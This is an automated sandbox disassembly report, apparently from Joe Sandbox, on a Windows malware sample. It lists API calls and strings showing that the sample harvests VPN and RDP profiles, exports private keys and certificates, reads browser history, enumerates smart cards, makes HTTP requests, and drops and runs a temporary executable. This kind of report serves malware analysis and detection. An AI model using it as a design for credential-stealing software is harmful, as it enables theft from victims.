]},, xrefs: 00007FF7327AE237
</DefaultGroup>, xrefs: 00007FF7327AE181
Software\Fortinet\FortiClient\Sslvpn\Tunnels, xrefs: 00007FF7327ADCBE
"user": ", xrefs: 00007FF7327AE01E
<DefaultUser>, xrefs: 00007FF7327AE02D
Software\Microsoft\Terminal Server Client\Servers, xrefs: 00007FF7327AE217
<DefaultGroup>, xrefs: 00007FF7327AE15A
", "group": ", xrefs: 00007FF7327AE13C
", "host": ", xrefs: 00007FF7327AE0A8
Software\SonicWall\SSL-VPN NetExtender\Standalone, xrefs: 00007FF7327ADD5D
</DefaultUser>, xrefs: 00007FF7327AE059
Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles, xrefs: 00007FF7327ADEE3
</DefaultHostName>, xrefs: 00007FF7327AE0ED
}},, xrefs: 00007FF7327AE1E7
<DefaultHostName>, xrefs: 00007FF7327AE0C6

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: File$Path$ExistsHeap$AppendCreateEnvironmentProcessReadSizeVariable$CombineFreeQuoteSpaceslstrcatlstrlen
String ID: ", "group": "$", "host": "$"user": "$</DefaultGroup>$</DefaultHostName>$</DefaultUser>$<DefaultGroup>$<DefaultHostName>$<DefaultUser>$Software\Fortinet\FortiClient\Sslvpn\Tunnels$Software\Microsoft\Terminal Server Client\Servers$Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles$Software\SonicWall\SSL-VPN NetExtender\Standalone$]},$}},
API String ID: 2508640211-1951492331
Opcode ID: a93e81c449e043e84e899d30c25acc9401cbbda14605dd7e525ccf0dd7e6f58a
Instruction ID: 7cd1dffaa4c524ca22626d5bfea9485a64081cd6c41d311270ffdd1b2a29cc86
Opcode Fuzzy Hash: a93e81c449e043e84e899d30c25acc9401cbbda14605dd7e525ccf0dd7e6f58a
Instruction Fuzzy Hash: 1B12B262A1858265EA90FB65D4502F9A361BF9BBD4FC04031EB0E07B9ADFBCF504D720

Function 00007FF7327A3220 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 313encryptionmemorylibraryCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A325E
CryptAcquireCertificatePrivateKey.CRYPT32 ref: 00007FF7327A328D
CryptGetUserKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A32BB

Part of subcall function 00007FF7327A36F0: CryptExportKey.ADVAPI32 ref: 00007FF7327A3744
Part of subcall function 00007FF7327A36F0: CryptExportKey.ADVAPI32 ref: 00007FF7327A379E

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A3336
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A3380
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7327A33AC
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7327A33DC
CryptExportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7327A3404
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7327A341C
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7327A343F
CryptAcquireContextA.ADVAPI32 ref: 00007FF7327A3459
CryptImportKey.ADVAPI32 ref: 00007FF7327A347E
OpenSCManagerA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A34B5
OpenServiceA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A3505
QueryServiceStatusEx.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A3523
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A3532
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A355D
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A357C
WriteProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7327A359F
NCryptExportKey.NCRYPT ref: 00007FF7327A3605
CertOpenStore.CRYPT32 ref: 00007FF7327A3667
CertAddCertificateLinkToStore.CRYPT32 ref: 00007FF7327A3682
CertSetCertificateContextProperty.CRYPT32 ref: 00007FF7327A369E
PFXExportCertStoreEx.CRYPT32 ref: 00007FF7327A36BD
PFXExportCertStoreEx.CRYPT32 ref: 00007FF7327A36DF

Strings

km{l, xrefs: 00007FF7327A32F2
-,0z, xrefs: 00007FF7327A32FB
Microsoft Software Key Storage Provider, xrefs: 00007FF7327A360D
5)F, xrefs: 00007FF7327A34C7
CAPIPRIVATEBLOB, xrefs: 00007FF7327A35AF, 00007FF7327A35DE, 00007FF7327A3622

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Crypt$CertExport$CertificateOpenProcessProtectStoreVirtual$ContextMemory$AcquirePropertyReadService$AddressImportLibraryLinkLoadManagerPrivateProcQueryStatusUserWrite
String ID: -,0z$5)F$CAPIPRIVATEBLOB$Microsoft Software Key Storage Provider$km{l
API String ID: 2161712720-385819238
Opcode ID: 80743156e14c4dc42c3126eeaf53f5bec289248513e28e2008ad3dbb05276c09
Instruction ID: 82c6ac0953baefb314ebe51612a4a6c737a34aaff247e8e2b49487d8e91298df
Opcode Fuzzy Hash: 80743156e14c4dc42c3126eeaf53f5bec289248513e28e2008ad3dbb05276c09
Instruction Fuzzy Hash: AEE14832B18A819AE750DFA1E444AEDB3A1BB49B88F804136DF4E17B58DF7CE109D750

Function 00007FF7327A213C Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

WinHttpOpen.WINHTTP ref: 00007FF7327A218D

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

WinHttpCrackUrl.WINHTTP ref: 00007FF7327A21D8
WinHttpConnect.WINHTTP ref: 00007FF7327A2213
WinHttpOpenRequest.WINHTTP ref: 00007FF7327A22A8
WinHttpQueryOption.WINHTTP ref: 00007FF7327A22E0
WinHttpSetOption.WINHTTP ref: 00007FF7327A22FC
WinHttpSendRequest.WINHTTP ref: 00007FF7327A231D
WinHttpReceiveResponse.WINHTTP ref: 00007FF7327A2330
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF7327A2359
WinHttpReadData.WINHTTP ref: 00007FF7327A2381
WinHttpCloseHandle.WINHTTP ref: 00007FF7327A24C7
WinHttpCloseHandle.WINHTTP ref: 00007FF7327A24D0
WinHttpCloseHandle.WINHTTP ref: 00007FF7327A24E0

Strings

<r;r, xrefs: 00007FF7327A2241
?r r, xrefs: 00007FF7327A2440
?r r, xrefs: 00007FF7327A2265

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Http$CloseHandle$DataHeapOpenOptionQueryRequest$AvailableConnectCrackFreeProcessReadReceiveResponseSend
String ID: <r;r$?r r$?r r
API String ID: 199669925-2032818692
Opcode ID: 0b141f4ef8d4016b1e19e9079c619bf54350b44abf148a21e1f648eab4ef3e29
Instruction ID: ab389403399bc8b874b87e81b128a2ceef972163cb5023a43b0f82f0d51b0cae
Opcode Fuzzy Hash: 0b141f4ef8d4016b1e19e9079c619bf54350b44abf148a21e1f648eab4ef3e29
Instruction Fuzzy Hash: 1DA1D072B1938196EB50EF66A4441AEB7A1FB8AB90F944035EF4D03B48DF7CE405DB50

Function 00007FF7327AFB38 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 65stringfileCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7327AFB69
lstrcatW.KERNEL32 ref: 00007FF7327AFB76
lstrcpyW.KERNEL32 ref: 00007FF7327AFB87
lstrcatW.KERNEL32 ref: 00007FF7327AFB9B
FindFirstFileW.KERNEL32 ref: 00007FF7327AFBAF
lstrcatW.KERNEL32 ref: 00007FF7327AFBCD
lstrcatW.KERNEL32 ref: 00007FF7327AFBDE
FindClose.KERNEL32 ref: 00007FF7327AFBE7

Part of subcall function 00007FF7327AFF3C: lstrlenW.KERNEL32 ref: 00007FF7327AFF62
Part of subcall function 00007FF7327AFF3C: lstrlenW.KERNEL32 ref: 00007FF7327AFF7E
Part of subcall function 00007FF7327AFF3C: WideCharToMultiByte.KERNEL32 ref: 00007FF7327AFFA7
Part of subcall function 00007FF7327AFF3C: PathFileExistsA.SHLWAPI ref: 00007FF7327AFFB0
Part of subcall function 00007FF7327AFF3C: OpenFile.KERNEL32 ref: 00007FF7327AFFC9
Part of subcall function 00007FF7327AFF3C: GetFileSize.KERNEL32 ref: 00007FF7327AFFE9
Part of subcall function 00007FF7327AFF3C: CreateFileMappingA.KERNEL32 ref: 00007FF7327B0020
Part of subcall function 00007FF7327AFF3C: MapViewOfFile.KERNEL32 ref: 00007FF7327B0041
Part of subcall function 00007FF7327AFF3C: __memcpy.DELAYIMP ref: 00007FF7327B0053
Part of subcall function 00007FF7327AFF3C: UnmapViewOfFile.KERNEL32 ref: 00007FF7327B005E
Part of subcall function 00007FF7327AFF3C: CloseHandle.KERNEL32 ref: 00007FF7327B0067
Part of subcall function 00007FF7327AFF3C: CloseHandle.KERNEL32 ref: 00007FF7327B0070

Part of subcall function 00007FF7327AF280: __memcpy.DELAYIMP ref: 00007FF7327AF29E

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

Strings

APPDATA, xrefs: 00007FF7327AFB62
*.default-release, xrefs: 00007FF7327AFB8D
\places.sqlite, xrefs: 00007FF7327AFBD3

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: File$lstrcat$Close$FindHandleHeapView__memcpylstrlen$ByteCharCreateEnvironmentExistsFirstFreeMappingMultiOpenPathProcessSizeUnmapVariableWidelstrcpy
String ID: *.default-release$APPDATA$\places.sqlite
API String ID: 4154822446-3438982840
Opcode ID: 58731acea2be65af64effc114e10444d7d779a37d10e10a89ac114ba9e3e4df9
Instruction ID: 063050785dc32ff41157c1334470234e919aaf7b6f998bdf688af23af41d6697
Opcode Fuzzy Hash: 58731acea2be65af64effc114e10444d7d779a37d10e10a89ac114ba9e3e4df9
Instruction Fuzzy Hash: E431C321A18947A1EB10EF20E8401E9B320FF59794FC04031DB5E476A8EFBDE609D760

Function 00007FF7327AB428 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 310COMMON

Download Yara Rule

APIs

SCardGetStatusChangeW.WINSCARD ref: 00007FF7327AB53F
SCardListCardsW.WINSCARD ref: 00007FF7327AB5E7
SCardFreeMemory.WINSCARD ref: 00007FF7327AB67E
SCardListCardsW.WINSCARD ref: 00007FF7327AB7A6
SCardFreeMemory.WINSCARD ref: 00007FF7327AB83B

Strings

"_": "", xrefs: 00007FF7327AB456
%02X, xrefs: 00007FF7327AB58B

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Card$CardsFreeListMemory$ChangeStatus
String ID: "_": ""$%02X
API String ID: 2879528921-1880646522
Opcode ID: f58cb8d867edc302733c4dd72276039138ff666b7cd7c17fd6ea8167122b3296
Instruction ID: 21ca58cb02e72b0905182ce2ac6ce716b0e12d33a2d0dbfca80c52cf0d50ab5c
Opcode Fuzzy Hash: f58cb8d867edc302733c4dd72276039138ff666b7cd7c17fd6ea8167122b3296
Instruction Fuzzy Hash: D6D16D26B1864364FA80FB62A8511FD9365BF5BBD4BC46031EE1F06796DEACF105E320

Function 00007FF7327A78EC Relevance: 6.1, APIs: 4, Instructions: 56libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7327A797A
GetProcAddress.KERNEL32 ref: 00007FF7327A7986
GetCurrentProcess.KERNEL32 ref: 00007FF7327A7995
IsWow64Process.KERNEL32 ref: 00007FF7327A79A3

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Process$AddressCurrentLibraryLoadProcWow64
String ID:
API String ID: 4035193891-0
Opcode ID: 8f7d0afc07ad77c62296da18ea9598441e0f30d9eecd5f53e8fc3d6832e69a3e
Instruction ID: de44109766ca5a433f8018cb3c148a6ea39356bb4c1c1898271b7f32262c52d6
Opcode Fuzzy Hash: 8f7d0afc07ad77c62296da18ea9598441e0f30d9eecd5f53e8fc3d6832e69a3e
Instruction Fuzzy Hash: 0021D162A187C197EB506F21A4441BEE790FB9EB90F844235DBCD02B46DFACE104DB20

Function 00007FF7327A36F0 Relevance: 3.1, APIs: 2, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptExportKey.ADVAPI32 ref: 00007FF7327A3744
CryptExportKey.ADVAPI32 ref: 00007FF7327A379E

Part of subcall function 00007FF7327A25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7327A1985,?,?,?,00007FF7327A155F), ref: 00007FF7327A25E5

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: CryptExport$HeapProcess
String ID:
API String ID: 532797600-0
Opcode ID: 7e4aefc5a259160d3bd96176410f5e013c34f79a57299891ee72d5de0e9a384b
Instruction ID: f03bbb0b5c03856a67544799c2737291183697f1cd3e842d9bde5d183802baf8
Opcode Fuzzy Hash: 7e4aefc5a259160d3bd96176410f5e013c34f79a57299891ee72d5de0e9a384b
Instruction Fuzzy Hash: E621A332A19642A2EB90EF11F460369B3A0FB9ABA4F408130DB5D47794DF7CE401DB10

Function 00007FF7327AA520 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1863eed8ba9e8c0bfa6a5baf2a0f20c0091597ec27319fbadb4e1ca4e021892
Instruction ID: 481a66892ac6a1ff886122a856684a1032e27fe86813440fc520813ea436e825
Opcode Fuzzy Hash: a1863eed8ba9e8c0bfa6a5baf2a0f20c0091597ec27319fbadb4e1ca4e021892
Instruction Fuzzy Hash: AE616953A082D15AE745AE3981512FE6BA1FB1B798F840174EF8943B87D9ACE407D320

Function 00007FF7327AA778 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25ce122ab1a22b4c820431336851b8b198527fbfb5a646098f74e5a8227e0d2d
Instruction ID: 33643d1cec038cb4585bcbc43cf9890cb0c1971d5d8115e5c9b246d8641b3252
Opcode Fuzzy Hash: 25ce122ab1a22b4c820431336851b8b198527fbfb5a646098f74e5a8227e0d2d
Instruction Fuzzy Hash: A9516503A083C15CEB169E3980923ED6F61FB2A3A8F860035EF9957B47D52CE00BD320

Function 00007FF7327AFF3C Relevance: 18.1, APIs: 12, Instructions: 91filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF7327AFF62

Part of subcall function 00007FF7327A2588: GetProcessHeap.KERNEL32(?,?,00000000,00007FF7327ACD4D), ref: 00007FF7327A2595

lstrlenW.KERNEL32 ref: 00007FF7327AFF7E
WideCharToMultiByte.KERNEL32 ref: 00007FF7327AFFA7
PathFileExistsA.SHLWAPI ref: 00007FF7327AFFB0
OpenFile.KERNEL32 ref: 00007FF7327AFFC9

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

GetFileSize.KERNEL32 ref: 00007FF7327AFFE9

Part of subcall function 00007FF7327A25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7327A1985,?,?,?,00007FF7327A155F), ref: 00007FF7327A25E5

CreateFileMappingA.KERNEL32 ref: 00007FF7327B0020
MapViewOfFile.KERNEL32 ref: 00007FF7327B0041
__memcpy.DELAYIMP ref: 00007FF7327B0053
UnmapViewOfFile.KERNEL32 ref: 00007FF7327B005E
CloseHandle.KERNEL32 ref: 00007FF7327B0067
CloseHandle.KERNEL32 ref: 00007FF7327B0070

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: File$Heap$Process$CloseHandleViewlstrlen$ByteCharCreateExistsFreeMappingMultiOpenPathSizeUnmapWide__memcpy
String ID:
API String ID: 2161876737-0
Opcode ID: e6ac3f6210a3834a1ca4de31d5e0d4b22d655f4258524774f1a89776c1876d7c
Instruction ID: c293e30cfab8687f8bcfe371578813b8431bb2c8d1c1767215679adf57f56a19
Opcode Fuzzy Hash: e6ac3f6210a3834a1ca4de31d5e0d4b22d655f4258524774f1a89776c1876d7c
Instruction Fuzzy Hash: 1E31B521A0864292E724EB26A85877AB391FB9EFE0F944234DF5E037A4DF7CE405D710

Function 00007FF7327A1CBC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 65filetimeCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32 ref: 00007FF7327A1CF7
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7327A1D04
wsprintfA.USER32 ref: 00007FF7327A1D1C
CreateFileA.KERNEL32 ref: 00007FF7327A1D56
WriteFile.KERNEL32 ref: 00007FF7327A1D88
CloseHandle.KERNEL32 ref: 00007FF7327A1DA9
ShellExecuteA.SHELL32 ref: 00007FF7327A1DCE

Strings

%08X.exe, xrefs: 00007FF7327A1D11
open, xrefs: 00007FF7327A1DC2

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: File$Time$CloseCreateExecuteHandlePathShellSystemTempWritewsprintf
String ID: %08X.exe$open
API String ID: 2307396689-1771423410
Opcode ID: 8de0e536810cab89fbb532c5864f35491e90b95316bd22bc7e796462d49f8046
Instruction ID: cbb4d6875c68fd53d4cf254f689f0e5609d8168928e0246623310b1f87e2e86e
Opcode Fuzzy Hash: 8de0e536810cab89fbb532c5864f35491e90b95316bd22bc7e796462d49f8046
Instruction Fuzzy Hash: 5831B872618985A6E760DF21E8847E9A321FB8D788F804135DB4D47A58DF7CD60DC710

Function 00007FF7327AF988 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7327AFA5C
lstrcatW.KERNEL32 ref: 00007FF7327AFA6C
lstrcatW.KERNEL32 ref: 00007FF7327AFA7C
lstrcatW.KERNEL32 ref: 00007FF7327AFA90

Part of subcall function 00007FF7327AFF3C: lstrlenW.KERNEL32 ref: 00007FF7327AFF62
Part of subcall function 00007FF7327AFF3C: lstrlenW.KERNEL32 ref: 00007FF7327AFF7E
Part of subcall function 00007FF7327AFF3C: WideCharToMultiByte.KERNEL32 ref: 00007FF7327AFFA7
Part of subcall function 00007FF7327AFF3C: PathFileExistsA.SHLWAPI ref: 00007FF7327AFFB0
Part of subcall function 00007FF7327AFF3C: OpenFile.KERNEL32 ref: 00007FF7327AFFC9
Part of subcall function 00007FF7327AFF3C: GetFileSize.KERNEL32 ref: 00007FF7327AFFE9
Part of subcall function 00007FF7327AFF3C: CreateFileMappingA.KERNEL32 ref: 00007FF7327B0020
Part of subcall function 00007FF7327AFF3C: MapViewOfFile.KERNEL32 ref: 00007FF7327B0041
Part of subcall function 00007FF7327AFF3C: __memcpy.DELAYIMP ref: 00007FF7327B0053
Part of subcall function 00007FF7327AFF3C: UnmapViewOfFile.KERNEL32 ref: 00007FF7327B005E
Part of subcall function 00007FF7327AFF3C: CloseHandle.KERNEL32 ref: 00007FF7327B0067
Part of subcall function 00007FF7327AFF3C: CloseHandle.KERNEL32 ref: 00007FF7327B0070

Part of subcall function 00007FF7327AF280: __memcpy.DELAYIMP ref: 00007FF7327AF29E

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

lstrlenW.KERNEL32 ref: 00007FF7327AFAFF

Strings

Default, xrefs: 00007FF7327AF9AA
LOCALAPPDATA, xrefs: 00007FF7327AFA55
\History, xrefs: 00007FF7327AFA82

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: File$lstrcatlstrlen$CloseHandleHeapView__memcpy$ByteCharCreateEnvironmentExistsFreeMappingMultiOpenPathProcessSizeUnmapVariableWide
String ID: Default$LOCALAPPDATA$\History
API String ID: 3980575106-3555721359
Opcode ID: b2e06d87f8ff40b3d8686b8cb712bef1c7a21b8d3f7f2d2d70081e66541f2c80
Instruction ID: 161bcf64de1adb98e6caa27b9a5a772aa84c1330b6e0a6082fc4f8e842cce2ef
Opcode Fuzzy Hash: b2e06d87f8ff40b3d8686b8cb712bef1c7a21b8d3f7f2d2d70081e66541f2c80
Instruction Fuzzy Hash: C6516522E18F8592E750EF24D9012E87370FBA9784F85A221DB8D53666EF74F6D9C340

Function 00007FF7327AFC70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7327AFC89
CoCreateInstance.OLE32 ref: 00007FF7327AFCAC
CoUninitialize.OLE32 ref: 00007FF7327AFDC3

Strings

http, xrefs: 00007FF7327AFD6E

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
